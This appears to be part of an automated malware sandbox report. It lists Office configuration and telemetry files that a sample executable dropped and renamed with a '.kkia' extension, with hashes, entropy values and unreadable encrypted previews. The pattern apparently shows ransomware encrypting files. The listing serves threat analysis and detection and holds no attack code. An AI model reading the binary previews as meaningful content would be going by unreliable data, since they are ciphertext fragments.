SHA-512:	1B9B881231421C752BEE1C27B60AAC367CAE82FA043613B4B5359B895BA65B9DDA3264CDFE70A0CCA738D4301114D766938B92D2B6F0406C33C036D3C1B64AA9
Malicious:	false
Preview:	<?xmlN.....,d/M......'....4...6K6."y....2..\h....7H....d..2~...&'.b.F..J..^a.~.9....I.."..........V.jJ..3@.%YC..4.`.m....6...m<.:...h........7.........."........x%F...aJ..q.`/....I.@K{.._....l.....L.,0;t..b...!.?]..c.1.>.B.m!..D.......@...[An..Y.....,jnT9..C....BX.@....5<....@.../k..3[Qk,..B....9.d.0(... .Gs..{#..z....uX..?.Z(.r..}0g.wKo.n...&..O..0......K....P..5....k.(.....W....).J.....h.j...N..&..f.....#@.zm....5+.......F..e.f..C.....mL....h.R........]6.Y....t.....4$../%..}..)6M...#5.7.F../62.}!x.w+q.pw.........>...W...l]............[.W..)..D..s.NX..4d.1.p.s...\|.w..m._....7..B.....B.....AoG.c)....Q.q5....^0n......5..Qh.....-..h}.......{Pt...T..>>./.N,EL.y-.\...uC.M...,.>.#.....h.....U..._X.q.C`S.#P8#.........U..Q.2....m.B!.=.U.%.@.... ?...o.M.....F.\|...mm.CZe.....-.m:..S..s...by..u..D.v.g")......g_.q.3...w-\C<4.....~8.D.X.s..[.l.....N5.._...\.]k.c.)%..e......]A.1ES4.=.y......h#{.:.&..~H..xs<.`...@IFf..?.O. .YK..er.K...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11710v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.755713521158662
Encrypted:	false
SSDEEP:	24:HU1fV5b58LbJDIYf6vC6RRpXmOvmhNkbD:01fV5l6xIYfd6Tw6D
MD5:	A8A9DE297E45B80ACC7A15317DE8CC19
SHA1:	47571F7555F737073CE96DD51C5C2A38F57FDD2A
SHA-256:	18B244057DDAF67535104F02D70890986976778B907B6C29F88E8434FAE453AC
SHA-512:	E1BCC60922502BDCA44DF9B67E97BEF0B2999FDD7777EE9FB4A4306BFDC05B765C649B03EDAA8EFD6BCDA0D705A35BF86C608700B88A737D17E7E3DC05A399C2
Malicious:	false
Preview:	<?xml.y.Yh.. ..F..i2c....@'r:.f...w).RKt.9~..D........s.O...S.' .g....7.t...%....\u.....q.^..[..g.}.Gk..x&......k..8$X.....E.S..$..i....x..(ZT.d.8....2.XOH1D..B...gN...z>. .ez.;..^..04}.2...X.....X'...H.P. S..S[t...qFe..+..f....,p.`..s.s.].&...v....3.O...#6....Z.p...].e.c..3N..G..../o...g.....p.N....."....fvA...@...#.p...,.......'....1.<C.v......V.<.a.f..[...76;..^&...Z.>.F.r&.l.....AF.T.y}.T..m.u.o..;......X.. .ZK....L...).AQ.G.h.9...9.0qW...(.x...u...zq.......TX....2.)8l....hHq...h.c.<.../u....\..L.g.t(.mu.....eW.;R....c..hL...q.....T...\l.qv...A&..D....7R..B..[.....'...K..y..0?...#.W...{(...o.2...8.Z\|VI.Z.1.$m}.........^q~....m.>k+.=.b..g0..\|(.3U&N.LBK...2^.:......+bFB.n s...ZV.;i.o...]\|W.r.~.NP.R}2.NN...NlM......$.W..6.(z.R....`]an.u..B.=.z9.....nW.$Z.^1..Z.....oP.~.,:.F..?.......s..x.4.'..l..z0..l.\#z......C...6....dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11767v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.945545056675009
Encrypted:	false
SSDEEP:	48:Qj5ddVry5ySVPQl80BwKr1lTarzujk442uESJVmCStZTI6B3kF8gC0Myp0XYdk5P:s5dKMSFYBkl44zHRI0FlZ65GDO+bw
MD5:	9CBE9AA28EFC4789D626F136E3384D03
SHA1:	35260461D85428BA6DF0CD96E5389688AFEC4B08
SHA-256:	1E2F04F767DB2289E22FDFBD00D54497D056D74485A83555EED938BE6CD8522D
SHA-512:	CBB200E19F76492C639C3BDAC6E24D9D4F10A1D34DE8B0FBADE84CBC1B6BB0E7E37CC6923EE85D67D8A06E5B0486587FC1C90B9FCCF7C33306AC076DA443FF58
Malicious:	false
Preview:	<?xmlz.H.M...8....<b..(?)......;.z.vs..Vx....h...&...].S.i9...7.).L..?5H,?......E..]..6.COrv.G..bm.../..YkBQ......7.{....U.Q6r.b..eI.A...i.P.\|G.F..klw5...l.....G....3jTtTu.\.{...M.....2.#...p..v_..h....~..g..t.k...M..L.O.{@.&. ...s..4....y.B;..cSCg......~i./.8{P.CT...''1I..Jg-l....(.e...h..>...8...1=l1.]0.=...2.../..X.]..I.......-R..z.xi.Jd.......=.P....%(.K..9.b.A.n.C.....VS.....(..R^m......M~..........HZ.6 .'..._....S.F.1Eo1.).i/.@:....qv0.:.........TU.....1.MAM...`l....N[...Ru.J.......B)OdJ."....yI.V...M+..+...O.c"..,..U.E.....T.'H....b0..X...q....j..a......sX_..}..n..3^...R..H../&TQ.....d.Y.rt[.W.%l".m?.\.w............#...{....r...)>...E@}.\...L..&48.k..'....>.O..e.X*oE.T.o.<../%...:.D.a!..U}...C....s.(...bd..}.=...1.#.....G..8...VU..b^...y..F...&m^.c.....S.<?.MJ... .u..Q.L6.6.......a....BGeJ3I.o.@^...U.KM..."`.t...n2..A..t..l8....r.X .z....s..d..l.,t..o....K.Eo..RI..u.P.r-V.E..OwPY.l...t! ]9.K0..>o.........k@N...X.e.{...s7.5.!.......W...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11768v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	2487
Entropy (8bit):	7.9193528803973265
Encrypted:	false
SSDEEP:	48:6tDvyu6sGSc1bpAVfCpp3lZnLPRedIfSNU/w3ROizeO1D:WDH67DyfWPLPRHwYiH
MD5:	E8E432ED4F0F0A929F379396AB8ED69C
SHA1:	7EC1E65FD2B53E1FAB39282B1221DEA38B637BE9
SHA-256:	6C9D8F531A193081426382384EB94CDE0072C9372BF6C6A67087D45AB3F559BC
SHA-512:	3D838809F273DF565BC3A42DA20A586EB1D85EDAD0208461436610D990222F9140C9997A69EC95A0D62BE6F98EB5EA2FC7B66F4D4B67CBC49FCEA060E9E0CBD0
Malicious:	false
Preview:	<?xml.1./..............(..8.X.T=...]..dZ....z.....f.}/......,,..E.e....(..F.~..]9..e.~...R...MT2....V.F.P.!.J.....GAS?fA.v...O...Xq..&...f....2.@..v<....zK.Z.l...'p...)..2.......;jg.m..a:..DM.j.P...A\...5...CS.@........"e..../M>.K......,.T...G.8..._....e..V.../3..P.....Z..."..@.t_m....+.n...<.~h^.f.-..#.....M.....>.`I..e.`..C.f...PM5J.....a.....4\..d.>.Nr-.8..g.s8.49d.!>.h.........+.H."......e>~')....0h2.}]_nk?..O...3.F.....1....).,....).q"c~.\.2...........LE...{..R.x.6.ClX...3.N!3....3e.<.-PDk...(.~..8.,..51.un.K....nW..x]@.W}.=$.../.X..n`5.^.W\|_.7v.p....n....K.....6..Hy.s.+..).Y..>..i....5.P....[Kx....~H.<\A......@.5.....}@....t...%....+-C.....N @."..H...-...s.........-w...$/.~.....K.5D...I.1..S.A.aN.^..T..'J4..0..+.7...#.}.OMO..@A.,.H..2...>Qp.fJ../.4..d.9..n@A.e{.,..Bx....{._.l`..3v....j..$."..b..fWu....w...G..6.{!{........wpl.;..T.h.. .......7.6/ ..X.t+..g.'.............H^...v+-.G. i...@..y.d..O.>.Nf&1z..3..(.0....}.nr..5.7...@H..$.J...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11769v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3132
Entropy (8bit):	7.938415268939881
Encrypted:	false
SSDEEP:	48:uwrlsgOk24ktoQR/Onpei44s1wXFIZ8df8TibpbcrnedZ2GDfnBUyI6ZD:uwrCoQReK4syVU8GMpkniosOYR
MD5:	B050E8CBBC227B631050763D36AACF4E
SHA1:	27B50228EDE10502AE01F2CC4DCC05298C861C06
SHA-256:	A7E06D638DC16B553522CA74ADEAB1000B6B9C2744AE451406C3137264B840C8
SHA-512:	7ED520185B3195DC2689DDF9C821EA8CE92F200F3C95A3D1C37FC829D0D969499D64832486ACE9985B7D8D4EF287D863BD4A5C860A8E03F648731349381A87B7
Malicious:	false
Preview:	<?xml.A~...6.-.....=........~..t...w.r..G.\|.W....5..^...X..}.!.s..m=.k/..\w.g........;.ZN.XjO.C..Lr......h...p7.c.!...EoM..$..&. hU.Y.\s;.n.....3....g8...6.MX..!..%{.G.@J...^.Z.zdvs.P......EqP..._.:@{.....,.'...+>..8..\|....).........+.....R.%....NSi..X.5...9..Y.{z?{.E~..!....C.:.....x1.G....Ub.l).!....).J.S.1...........?......F..^..RH.....3..:......z.+iA<..F.K.I.....2..L..."......:.J..&...G.9...Q..'...{...\..e.M5.4!...".M._Q.+...5.Y.E...(.8C.tvj.....x..F.e...0.....TZ.raC....{..5\!....:8M.D... ..q.Q..66J{...yi).....)..Q.\|e..........6SQ....dvu..R.'..!....;.....zz.t.To.<....&C.x-....A~B..C2...e...G....4S.j.6X.pu...T.GQx."9.B....;......K.C.......>!..\|.....9..kg...Y:G.FSQW....q"..4,..L+..G.....9z......g.izDcj\..j2.......L.......6B...{.v..Y..q..F/2...u..+.u........A.U.0=.#~2_ .b..F..m.IA..^...~..\|.0..WWa.@.AL1..E..........QS....mo.<...G...8.....aJ......$..I..S...O-.......`N.^..Q.E....f\|.....~.0. ..L...4.u1=3..=..T.$M.w'.......Le.0..."....{gB

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11770v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	4968
Entropy (8bit):	7.964038509148343
Encrypted:	false
SSDEEP:	96:j2oUShdufS324Z3QniBfiKUOxcgPLFqkJW4Op0/ZikpvbLeZU4uyn74YrG:j2pSuf83QnFvOzqkJWt0/ZlvbLYUM4Y6
MD5:	C88B8139D3792F636031C99E838C927D
SHA1:	E9A72C5FD2DB881E72C23148D301B1D2BE4BEBAF
SHA-256:	2AB5E92FFCCAAF6E3F4290F9220348C3E274DA7814E03E66A7D0DF1CFEDB7367
SHA-512:	78CC6BF025F0C548F0E8AEB62F28736F61E973C96DB1EA798443A0A9356FCAF87EA47669EB9BFA4EC7E1660A8CE7EE78B116DC0921C4D9D806F3587970B7D33F
Malicious:	false
Preview:	<?xml...i....\$1...!y...1L...<.....N.1.A...T....k.F.+.3.7...6,....V..6.........!AK.....K.F..@...j.Z..$0.^.......-..q+lj8.H.-[.eS~.w....ON..G.Nf.=>....?....T.e~....W.%.H..=.~.Ru....~k..X..z(&...-34.~."..s>..{.I..~..h.\2R...[.f6"ih..........&fW~r.v...aI......O.h.e.YC..........^..q\.&..hy...'i.q`....m.P.-..._.a7..V.qKX..>....H./..5..@...Q.....{...g....,.B..I.Nk..~...n{..3S..If."5}..Z. (#H..2y....l2..N..K..iOW...+..!.....7{m.J[.....>.X.M.B.......F.....w.I.k.VV.!...{........X.\e..V........Y,..7*.Y2.o.....9N.{.t__.R..:uK7...m..-.h.......T....x.x......7.PR....2....9....$i.........E..M.@.u..D...0...d..v..._..j.....^........:..1.hZ.5..5.]l".6...c....h5.U.!........ W..r0.Z.=0.B..[.>.Q.;.WG..R.. OO).Wc.i..\J.@..#...Rc.rX.D..D6.\|}C.1..;..r....n..8:M5....s.o..]....Y..4'p...'.~..6.Q....Zo.[t:..3,.P........\|j..`....8\|......O..Q....mi...$..D...Hm.En.C./...:..w"....K1u\|&....;......T..;.ma...T...fO..D...{].I.-..,'.6J.....Ph....3..5...:.a

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11771v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	7596
Entropy (8bit):	7.975613415801565
Encrypted:	false
SSDEEP:	96:YBHVmv57tM5lsQlafp0fB5jPuC3PVgQbqh603RU+F7RIUHChcx9yPaKIU0Me2SOv:YB1mv5iN0Sjiiqh60BURhcfyP9tIob
MD5:	600C174A3BE88D2CBE208C40B35DD026
SHA1:	958234AA9964E1E5AF881DBF3A8A4312CEE1637D
SHA-256:	E2073726E0335BBD3CE8032F93D1A9F41EEF21BD18A0FB825696D71949455EF5
SHA-512:	B998651E17279BC5B1125B52EC65C1A6EF2B63E3D6B6EA72DE775237666B48F02E607DB563363360CD71FE0AD7434ECE4B352892F19B9ECC06CC117BC59D748D
Malicious:	false
Preview:	<?xml.....j.-rB...Q,.....r...a..Mn....._..2u..\|..di8.?......Yjl.T.axNt..!..4.G:....4..#q..LLaR.:...nO..f.j..tY.,.hU..z....._....'=.uU.$..{V.22H.(..oT.+...b..Z..0a......U/i+Y .;.-=kIi....._...........w....i...w.p.d'.z6.<./B....h..V.1.....[K...3a.R..........D.u...1w"......V%...h<.....=.B ......e..2v...b..n.(<w..{....5.\..F.....a....b....(.T...klQ.e.....I.c....B.L.Q{.[..5y9;.. .._.}:..C..8..Q2t...H`<..b..z....JaD.4U...fE.....o...R.>}Ec..v..+{..e`.....I.rG/A......S....J.y#.-...M}V......._.n]r~...MymK'..4~.A....,s...........8.J.......4(....^.%PS....R).i...:...7].Dx.N.qW..o..k..\>..Usc.C..........7.ud.p_.....F.aZHxu..v9..g.C!.z..M^..T.c3.Q3....K.....WVZ.6U.4."d.l....g.-y.K...a...,\.qdY.0.dM.<.*...%.)F....B..../.........G(...t...X...O...2...F.x.k......&g.....]v....h.{..L._.\.c/T.i.63....M>.N)E.?`P0.a.......Z.A..6A..X..K....T..=w...K..$.0.sG.>D...-..a\|D...7[.A@......Nvn..a...W...S..)}/.Hh..Z........`....m.g.n.9.%.Q..8X,j..4^.......'...H...u

C:\Users\user\Local Settings\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.513083735767822
Encrypted:	false
SSDEEP:	3072:hQesghICyQ2TkaJzKj1f1FEzqtkXPrwJ+uPL44ybbGy6IT:hI8ITVJzK5AzqtmPUJ5ObGFm
MD5:	7FA7292DBBDAB9BF1B84CA1010962CBC
SHA1:	2720BD787120B56AED1B31E3C4D993F0646C4E43
SHA-256:	20FCF59448B9466C2E0C7E61A1B092591CEE99EBDE77267811A093B9F8842279
SHA-512:	4F69B864FC1E9C78C07CA2594EDD1EB7F709E39B949677E5C3CF59493DE6385702F622F2A09102A4EE90D91D2D160F8C8CDFF6D2BA1CED39A5E0EBFD553E1FAD
Malicious:	false
Preview:	<Rule...b.>1....c.\....3.~z.y{%..x.S..x3......c...]..B..fF...zn....Y7./\|....0..<.@.E.q.<?.mn%.G.vF.),.zO#....\|B.Y..S..lD......>...@z.{..+..>..)...a..a..2...p^..:.zB.........N..)&_........6 nO.....z...p!!.n/.E:v..lV<....Y^.......~....M.e.y.....D.O.W.j.MWp+....#.T.l....%^..7..&+..s.7..fb.d..g.V.....S..8..W..\|o,.\|...tp.....G8..K...W...2........Mf.4...)v.(...W._~k...=......'...E.!....B..M..L'.!o...8>...y...=.......U'.qrH..ZwU....x...H.N . H....j......-o.Y_:.+)..1..1(..T..;.....<W4.X...<.PT...W.......r..Q+...S....U(<(Q.b.......z...N2..UK......=...Z...n=u....=...y..P.U..?3.........,y....`.p.6..X..yg.O_....i....i.;....n6..kZ1.@....0_Ua.h.o........Z&}.......C..h....,..d5..Z.....lK....cY>\|.l<rV....].v.....?.l......hU.G_.].R......ZE.Q.Z......V......Zj.[.&.. $cG.\..a@..ej-.t.J.V.e..6.i.A.Bk.X2........%....t.o...la..&+.7..G Oq.#.e.$..r..B..~..j..l_2...{7.[Zh.>...+......)'d..CM.(..A...C...Yg...;...[W..@.&"...\|.}m....j..q...0..~f.50~0.CS.g.lQ...

C:\Users\user\Local Settings\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.51500684468867
Encrypted:	false
SSDEEP:	3072:+QQv4s9g43MBANevu/t3hijoIgRC4+lNF/vLl7PIkeP1WMOi5lSF:+K4+eeyZj8NbtMO4SF
MD5:	BA66D89A26534C90AADF508F2E1D4FB8
SHA1:	6EC474D144DEB61F4065CB799A7452F9D7295C2B
SHA-256:	574461AFFC93788C6BB359F7AE5E4471C705BB5D799F0EAAC1BF706CB16D25E5
SHA-512:	05D9842EFF40FBF850530753347E182A54BA41DEAC2768B1E70A51860D51FF0962A7B7B63175DE45E28A548C014EAB310DE0654C4207ED417FF56E99FDB06341
Malicious:	false
Preview:	<Rule.!@rto...O...P.ST.SW.U..j..9...:..U.4..(..Z..]".\(j..S...=a#)P#o.S. .=/.2}.....!...R...n\|.lzH......Q^........;..m7...#+P.y1O..4.G.IG.r....9.3X.K.h6`...q0....J....G9......R... ..2.......Bn.+..>1..."(.2.....>.2.kjI.8m...6.-z...N.T.s..&.-C...w.X,,q.4.9.%...k..6.%...I.._......u...S.d...8.._..Bs....$...thi..~......f.nM.>.%..=......#..JA.y..-.=Qv".I v....q.2K.l.{.2.Xm..b.}...$.f.....H.=.......L.....g6.....3.n).6....OY.).}Q...j..x.......n..e@.......?.A.nO&.'Kmg..[.$i...k.]...X...b.jd..5 @V....x.....'../Q...3.=.cw..4...;.5.....li..._..tg.9...e...?.........z..../.v<..52....._....qA....8......6.....EBO,>F.+.."p......#..'.....`...]..Dn....].C..]tjC...(oc..j...S.h...U..z/:.....n..0.)(.h...>.b...I......... #=2..u4..!.......W....Y.......#8.R.1.N_..O.k?.PB.W.....j...$...;......B..]kg...t=..v...wc.8.;.9Y..QQ..v.o~..jI%.c3...q.,.\.z... 'y.Uco.iqg..M.U..;\|....g..:a...GF.....7.4o. .....B.....a....B.ZBe.E..8xe.V...f..'.E...MrJ .R....]..Hk0.4.

C:\Users\user\Local Settings\Microsoft\Office\Features\1-7FeatureCache.txt.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1098
Entropy (8bit):	7.830704946598922
Encrypted:	false
SSDEEP:	24:W+fmNtIERouEsm1MpYSC88gzEIPZob6zQeVAgokbD:WpCuz0+YO8jtJglD
MD5:	583D4238179E868BD2081325D47E55D5
SHA1:	D446684872C7533C4444389817238A72AA38519C
SHA-256:	B90316CA6AF3BCB2980B28B957B7CC70BB464086E387CEAACE9D35BC79880EAF
SHA-512:	17A2440A51C05FA09801148B07CF7BC0C023CE9BF5F9FE916CD247A58D59BAAFD47A0FF49AF13C8C419E9489E85A49CDA7EA76C7B86537785247C800F422AD48
Malicious:	false
Preview:	3.7.4..S....7.g...<,..1.. >.....O.Q.%..}..4.......-+/`.q.j.$0..^}.(..R.C.{..?1r$.%...[\|.YZ..~..K....tHT.A.....L...f..b.Tt.I...........=.#CY..r...:..s<..J.O...F..@.n....m......w..r.....7I.....w..;2._...h::.x$@./...K........]0+.......`..h...$...."..H...fX..v[..yW5..R6(.t...^.Tw>.n7..../j?0..?.J..XJ...%d.......$...Y.......&..K+8HS...).@\|.K{.e.f.i.32.q...$..c.-....N.<H.`...e.%Zw..$g..4......(..]...K...)....$o....e.t...t{...S..K.P+.......j...O.>.j@....Ac.b)....a ......af...6.H..).......5....=.B..J..'_.e?"O)Xz..\.i#>!..2..s0]...LIJYn..i#.......l..Rs..R...q%K.!WZ.....$M...]...1,............R\Us...d..5....ZF..V\|.q1....H.......D.....}J.2.d....Nc...._rR.<.$......a.ySq...H..1.Z.YbJ}....~...z........L0.lXt.E.M.vI..U.B.a.....z..c7jl~..!..lb.....P9..A'nZw......y..-.....$z....:.J.4.....u'5P.\n.7"m.c.....}....XLh.....H..f.p......I....Gg......"z.N..W..+.f..$v..^.9..u.r.n.%..T....J>....p..>.......h.G*...iudu...p$S.\|L..A....Va$.L.Fi.sWC....N......y.i

C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992441571796912
Encrypted:	true
SSDEEP:	768:1u30eMx8CNkVR6YmwJjM5GBeJM4tc52irHWVL+:I3mx8TRIVfRi8iA+
MD5:	937FBC4E06C5CCFA0DC73B775881421D
SHA1:	09CF5EC24D60B2443E2021A3CC1F09EF0694C014
SHA-256:	4E6FE383E7B5D56AEC482F6C0B09B81F769AC09385AE0645D5F4A87B37E40538
SHA-512:	6A25EA6A4077EE008BDEE3D203362B607A8EDB8F8C9DE3B0C2B2496F92BB04CA6612BD0E0D9F1818A458BC9BE9AC8C9785BFBA01F460C81074141DC30028F4CC
Malicious:	true
Preview:	SQLit.....&u.bJ...H..[...T..J..u..(.`..=)...Sz#.F1...nI.$\|....V...b{.....{.........Zx.c........v.....0......H.6P.P...>.e.MTr.2Lo.L.............x\.F.a...,.\9.....8.p.Z.v$...9.K............?&%.c.o/UHt..n.....O...B......YF.A.K/..`. 6Q.....sc.FR...o.....$.y....w.....c.U.....nwg..!.0E.R.y..........?Y.f..>.F.........Y.f....EO.w.)(.=..@C..IE.q0.~B.E....}....".....s:H....J.......CBJ..k......%..s.....lZ.DD.G{...ET7..Q.3..Ma..Z{T.U=....I......_...H..D...E..M4[]...[4.".../....C......}+...&...J...Fy>-..K.a..:......<..C'....>..R..OR.....J'.`k....].;.z.X,.....:"....P{.....:?.a...k.......ia...KY.q..X.x ...b......#.E...K.2........ ..:q..i...,n`..=.I.0.....mN.....:.oq..:am.>.`.\|.w.^?.c9yR....Z.)e.)......:;....[.k...gm...l..........Bx~...hM..o..m92.....c...x....6..f......8.F..v..*:..m...... .&.;..S/..u.p<.H^;../...Ke#V..f6.U...K.NW45r..)-..p>......,..9P8.5.[..TH.#.%4....OE.Qd.......b. /.Uy.c..:ns...$.o..E...0.&B.:.D:Cx.w5....g...".h...h

C:\Users\user\Local Settings\Microsoft\Office\OTele\officec2rclient.exe.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993009954764668
Encrypted:	true
SSDEEP:	768:LabcGCR2LdEoYYzyflbJIinoHuteX8PmIVkQubL:LabbCRgHYYz8lbiOImVkrbL
MD5:	B1292DED75F2AF6FF187C85FB65AA413
SHA1:	845A9009A19D64453F63EF84C6024ADA67E4808B
SHA-256:	22F271AFFBD025ACF2932F9CC69713A635A29E24551B5F4B5F8C60F900A0E57F
SHA-512:	ABA5B4C6AFED79C89E9A9F46B2B52B312C257DFE439B5C84D56F243E8AFEC2BFB1A239F4B73175D1A2D562BD9A4E11CB53E8E68841C4BE4281847CFD957972AC
Malicious:	true
Preview:	SQLitM.N..]..W...G.v0...?$D@U.;....fd....U.......F..&......w...v..c.....[..2vsjc\:K....,bo....K.&q.."..l".s.J^.u..U..j.....E<....I.......E.........K..a.._....f$...X..;.@....<...:.'.n.783..g?......a5!......F.....}.w"x=of...=...,{.%.V.d.L<.q.,Q.q<...fG[\.:;...Cf51....3...'..]$.n...Lvk'.E.A.L..r.....hj...P...7..p.Ey.....#...<.Zp..s....]DN.l.;..a./W....cqd...................;.~J.W.....S..8@....[..@.Z.u......v.8.Y].5./m:....mZ........r....=t$.lf..P..##up...x.D....q=.....ve...z.r....A.e....!:.-.?.e..+.......(.>...v.eUc.&.%....x..H/q.@.1..W.t.<xt,....F...#.....[.\|..............V.2I....Uz...R,....O.....Ut.Z..l.....p.x.s)k..!.2....w......vN..(..".<.Z.,..p~j.v.b...i...Q..V^..)..%./.....m.}.....A.R...0.%..P..(.."$kH.....b.u/.......G.a. ..'`".......Y....0);.3B.F../rI..%Rw..././..L.i!s...<Q8"\|c...t..&!.F.L....V.a....._..N...y...r..>sr1I/.3..g.....0....\d\|A..#.,.:..},1<. V]:..a.^..\.ML....+.,.4..@..}fg...H...'5.=...qmR[.B.......n.-L..yN\....

C:\Users\user\Local Settings\Microsoft\Office\OTele\officeclicktorun.exe.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.99227166515496
Encrypted:	true
SSDEEP:	384:nPGijgYHg6VWWf6sCAARe3GedH7Q7IrS7dHtHR1ErwwoAHv0hQ+5LZQGcSIt6pa:nVjtgnWf6ed1+7Ie7dzkiKtbGcSIt
MD5:	3BE0891CC90088F69725FBB4D43B51D1
SHA1:	CEAE4F9846D1FB9E8A17599760434E650835776C
SHA-256:	90D407EA52AAEA12102166269818EBAD9D34DF24F63869158AC85593FDE87AFD
SHA-512:	FF8D101FE18B9EA4362E074CEF00F423191939E145A93B4498839E7DDF3DA0202C1850E2AB7DAE65B75240F15D40021B8C128AAB67A6807589D97C7C768477CF
Malicious:	true
Preview:	SQLitw;/.....)4T.e..op...n......H......(r.7....6.6.bZ....Y....h$.+....0..........Z.....;........nxS.A.,....)P..8....\|.8.w..ul...TZ.m1tS.K.....v..^p...N[......'.q...$..r.8Vo.5.yFh.).;..s..:?....m..e.r.7.\|...A......g.\q..}cz..'..5..X+._[.....r.2p?.2.y$...Qr.....3Xm..Q...Z.....-0.@.X8.2:..Z.b5.2.s.=..\|..V(.2.......yB..J5.0R,........L.G..1t......W...:.5....j..1.2)...{c....q:..;.......=x.`7.b.....X3D...u.gZ.w..L...'.....5...?.U.."...b9..aL....3J.,.3.>..K.....~.B...6...P`.X..6hG...YE......s.!..W.Q.(.k..[....U...B.... ...t\(.../...U..X.?...U....o..p"...t.B..Sl.}.......W..,....l9.+#..........3....R1....F..t5....c.....&.?.wmn.`....8...L....d].yO..f..V...y....E..1...eq.Fu}.......I..A<.....F..mi.&..;eK......AH2...>.Z.D.9.._.....XI./..=..WG_......aL.....=.......L(G.PUX.......e.o#.........A...Q.._z:{d. ..yC.a...;?.....X....m.....b}.......q.Wf.H8..2.@?"]..t.j...J..&M.X............uTA3.~...=.].u....N}....I.\pBl..\|=H.7..Tz.T...-.....V..@.Td..*O

C:\Users\user\Local Settings\Microsoft\Office\OTele\officesetup.exe.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993306852130915
Encrypted:	true
SSDEEP:	768:p+3pXwyCExd+ydc0KSiqYtn9m46hOwfSH:p+nHlOJ9m46hOqSH
MD5:	58C336F13CA794214E7495332DAE54B4
SHA1:	98F6A12EFBC2762F10794340147575771DF5EBA7
SHA-256:	BBD3BA8A9D6821887798D9889BEF58FA26075EDCAD849DE21F086E40271C3CA9
SHA-512:	38B23EAEE6B0B45BC320C7CC0918714CE212C95FD2DB35B5937212E1343C0193377C53199EC099409F60C15764511963F3F9F9C1A5B4D5D4C325611E6BB63512
Malicious:	true
Preview:	SQLit.?.......S..l.f{T....\4F..Y,.U.IDs..6..8..Pj5.../..M..>...-...;...$..?i..._...x.....$.S..]m..)...;.9..K.~5.F..DA..M..]<..HM.....$.....?P.K4.......s..4zE...i...YR....4.p..`.S...F.G.,.....N>l...f...8@+f.1B..ARI.wN..PK`?..N.D9].GB....s...y`...{..$P..G.n......J...q......cF.Pz\|r......k.....j...n....U..X...~..d..E.....t..L.)z...~.........rj^7.M.N...!.Y.s....n.5.r......>n...j.X.21..Y.-Rdx.=..'.B..st.-rV.^.#......7?B.w..>.Q.0..._..@?@o.....b.E[..m.o.bFO.-qyo(...@...`.. A..>..X..H.Y....h..+..9..c.c=...R.A`.J5.A...&.e{T..............Q...S.$U...~.."&..........e\|.`.V..Z.',vDL.y.z%B4hl.....c.5..}..#.L.......CH$.p...>2..t.+..q.......2..6.%B.........f......ce.ss..........lo..X.........;../.0....h ..c...>{..X.....i..(^..;.../.)M..5......R..I.M.....*D.../........WN>~q.Y.....C...-.. A...Q..Hb.d.4.Y.....m..m.V....es..@..;..rP....grhOk..\..\|.t.!..Zt4mM.y.\...._...j....UP."...^b..,7....o.^2....\.(".;..{.I-.w...So.D.4.5.u&....!.;...<......\|.Y..

C:\Users\user\Local Settings\Microsoft\PenWorkspace\DiscoverCacheData.dat.kkia (copy)

Download File

